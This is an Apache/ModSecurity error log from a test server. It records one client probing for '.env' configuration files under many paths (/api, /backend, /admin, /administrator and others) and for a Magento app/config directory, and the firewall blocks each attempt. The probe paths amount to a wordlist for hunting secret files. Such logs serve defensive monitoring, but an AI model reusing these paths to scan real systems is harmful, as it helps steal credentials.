[Thu Mar 12 21:45:24.883606 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/APP/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5QAAAAE"]
[Thu Mar 12 21:45:24.883794 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/APP/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5QAAAAE"]
[Thu Mar 12 21:45:24.883929 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/APP/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5QAAAAE"]
[Thu Mar 12 21:45:24.906143 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Api/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5gAAAAE"]
[Thu Mar 12 21:45:24.906332 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Api/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5gAAAAE"]
[Thu Mar 12 21:45:24.906481 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Api/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5gAAAAE"]
[Thu Mar 12 21:45:24.928676 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACK/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5wAAAAE"]
[Thu Mar 12 21:45:24.928869 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACK/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5wAAAAE"]
[Thu Mar 12 21:45:24.928999 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACK/.env"] [unique_id "abMl5NQgN0ifamzUYv2M5wAAAAE"]
[Thu Mar 12 21:45:24.951093 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACKEND/.env"] [unique_id "abMl5NQgN0ifamzUYv2M6AAAAAE"]
[Thu Mar 12 21:45:24.951286 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACKEND/.env"] [unique_id "abMl5NQgN0ifamzUYv2M6AAAAAE"]
[Thu Mar 12 21:45:24.951425 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BACKEND/.env"] [unique_id "abMl5NQgN0ifamzUYv2M6AAAAAE"]
[Thu Mar 12 21:45:24.973617 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BE/.env"] [unique_id "abMl5NQgN0ifamzUYv2M6QAAAAE"]
[Thu Mar 12 21:45:24.973810 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BE/.env"] [unique_id "abMl5NQgN0ifamzUYv2M6QAAAAE"]
[Thu Mar 12 21:45:24.973952 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/BE/.env"] [unique_id "abMl5NQgN0ifamzUYv2M6QAAAAE"]
[Thu Mar 12 21:45:25.018940 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Backend/.env"] [unique_id "abMl5dQgN0ifamzUYv2M6wAAAAE"]
[Thu Mar 12 21:45:25.019136 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Backend/.env"] [unique_id "abMl5dQgN0ifamzUYv2M6wAAAAE"]
[Thu Mar 12 21:45:25.019269 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Backend/.env"] [unique_id "abMl5dQgN0ifamzUYv2M6wAAAAE"]
[Thu Mar 12 21:45:25.041349 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Be/.env"] [unique_id "abMl5dQgN0ifamzUYv2M7AAAAAE"]
[Thu Mar 12 21:45:25.041541 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Be/.env"] [unique_id "abMl5dQgN0ifamzUYv2M7AAAAAE"]
[Thu Mar 12 21:45:25.041669 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Be/.env"] [unique_id "abMl5dQgN0ifamzUYv2M7AAAAAE"]
[Thu Mar 12 21:45:25.223488 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin-app/.env"] [unique_id "abMl5dQgN0ifamzUYv2M9AAAAAE"]
[Thu Mar 12 21:45:25.223692 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin-app/.env"] [unique_id "abMl5dQgN0ifamzUYv2M9AAAAAE"]
[Thu Mar 12 21:45:25.223824 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin-app/.env"] [unique_id "abMl5dQgN0ifamzUYv2M9AAAAAE"]
[Thu Mar 12 21:45:25.245744 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abMl5dQgN0ifamzUYv2M9QAAAAE"]
[Thu Mar 12 21:45:25.245924 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abMl5dQgN0ifamzUYv2M9QAAAAE"]
[Thu Mar 12 21:45:25.246043 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abMl5dQgN0ifamzUYv2M9QAAAAE"]
[Thu Mar 12 21:45:25.496137 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAAAAAAE"]
[Thu Mar 12 21:45:25.496348 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAAAAAAE"]
[Thu Mar 12 21:45:25.496481 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/administrator/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAAAAAAE"]
[Thu Mar 12 21:45:25.518527 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-backend/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAQAAAAE"]
[Thu Mar 12 21:45:25.518713 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-backend/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAQAAAAE"]
[Thu Mar 12 21:45:25.518847 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-backend/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAQAAAAE"]
[Thu Mar 12 21:45:25.540930 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api-node/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-node/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAgAAAAE"]
[Thu Mar 12 21:45:25.541122 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-node/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAgAAAAE"]
[Thu Mar 12 21:45:25.541251 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api-node/.env"] [unique_id "abMl5dQgN0ifamzUYv2NAgAAAAE"]
[Thu Mar 12 21:45:25.906516 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apis/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apis/.env"] [unique_id "abMl5dQgN0ifamzUYv2NEgAAAAE"]
[Thu Mar 12 21:45:25.906704 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apis/.env"] [unique_id "abMl5dQgN0ifamzUYv2NEgAAAAE"]
[Thu Mar 12 21:45:25.906830 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apis/.env"] [unique_id "abMl5dQgN0ifamzUYv2NEgAAAAE"]
[Thu Mar 12 21:45:26.019833 2026] [authz_core:error] [pid 2656514] [client 185.177.72.13:41252] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Thu Mar 12 21:45:26.041681 2026] [authz_core:error] [pid 2656514] [client 185.177.72.13:41252] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
[Thu Mar 12 21:45:26.063597 2026] [authz_core:error] [pid 2656514] [client 185.177.72.13:41252] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/config
